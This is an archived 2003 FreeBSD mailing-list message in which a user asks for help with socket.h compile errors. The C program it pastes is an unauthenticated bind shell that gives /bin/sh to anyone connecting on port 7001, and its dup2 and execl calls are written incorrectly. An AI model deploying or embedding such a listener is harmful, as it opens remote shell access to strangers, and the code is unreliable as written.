From owner-freebsd-questions Tue Jan 21 15: 4:54 2003 Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4752037B401 for ; Tue, 21 Jan 2003 15:04:51 -0800 (PST) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id A4CD043EB2 for ; Tue, 21 Jan 2003 15:04:50 -0800 (PST) (envelope-from lattera@softhome.net) Received: (qmail 5442 invoked by uid 417); 21 Jan 2003 23:04:42 -0000 Received: from slide-.softhome.net (HELO softhome.net) (172.16.2.21) by shunt-smtp-out-0 with SMTP; 21 Jan 2003 23:04:42 -0000 Received: from localhost (localhost [127.0.0.1]) (uid 417) by softhome.net with local; Tue, 21 Jan 2003 16:04:42 -0700 From: lattera@softhome.net To: freebsd-questions@freebsd.org Subject: header errors when compiling Date: Tue, 21 Jan 2003 16:04:42 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: lattera@softhome.net X-Originating-IP: [216.190.11.154] Message-ID: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG this code: #include #include #include #include #include #include startserver() { int sockfd, newsockfd, clilen; struct sockaddr_in server, cliaddr; bzero((char *)&server, sizeof(server)); server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(7001); server.sin_family = AF_INET; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("bind"); exit(1); } if (listen(sockfd, 5) < 0) { perror("listen"); exit(1); } while(1) { if ((newsockfd = accept(sockfd, (struct sockaddr *)&cliaddr, &clilen)) < 0) { perror("accept"); exit(1); } if (dup2(fileno(stdout), newsockfd) < 0) { perror("dup2"); exit(1); } if (dup2(fileno(stdin), newsockfd) < 0) { perror("dup2"); exit(1); } if(dup2(fileno(stderr), newsockfd) < 0) { perror("dup2"); exit(1); } if (execl("/bin/sh", NULL) < 0) { perror("execl"); exit(1); } } } // end of code produces this error when compiled: /usr/include/sys/socket.h:52: syntax error before `sa_family_t' /usr/include/sys/socket.h:52: warning: data definition has no type or storage class /usr/include/sys/socket.h:163: syntax error before `u_char' /usr/include/sys/socket.h:174: syntax error before `u_short' /usr/include/sys/socket.h:188: syntax error before `u_char' /usr/include/sys/socket.h:190: `int64_t' undeclared here (not in a function) /usr/include/sys/socket.h:190: `u_char' undeclared here (not in a function) /usr/include/sys/socket.h:190: size of array `__ss_pad1' is too large /usr/include/sys/socket.h:191: syntax error before `int64_t' /usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function) /usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function) /usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function) /usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function) /usr/include/sys/socket.h:359: syntax error before `pid_t' /usr/include/sys/socket.h:364: syntax error before `gid_t' /usr/include/sys/socket.h:399: syntax error before `u_short' /usr/include/sys/socket.h:407: syntax error before `caddr_t' /usr/include/sys/socket.h:411: syntax error before `caddr_t' /usr/include/sys/socket.h:444: syntax error before `recv' /usr/include/sys/socket.h:444: warning: data definition has no type or storage class /usr/include/sys/socket.h:445: syntax error before `recvfrom' /usr/include/sys/socket.h:445: warning: data definition has no type or storage class /usr/include/sys/socket.h:446: syntax error before `recvmsg' /usr/include/sys/socket.h:446: warning: data definition has no type or storage class /usr/include/sys/socket.h:447: syntax error before `send' /usr/include/sys/socket.h:447: warning: data definition has no type or storage class /usr/include/sys/socket.h:448: syntax error before `sendto' /usr/include/sys/socket.h:449: warning: data definition has no type or storage class /usr/include/sys/socket.h:450: syntax error before `sendmsg' /usr/include/sys/socket.h:450: warning: data definition has no type or storage class /usr/include/sys/socket.h:451: syntax error before `off_t' //end of error I am using FreeBSD 4.7-release: FreeBSD 4.7-RELEASE FreeBSD 4.7-RELEASE #1: Sun Jan 19 17:46:33 MST 2003 shawn@:/usr/obj/usr/src/sys/FIREWALLED i386 I don't know what's happening. Thanks, lattera To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message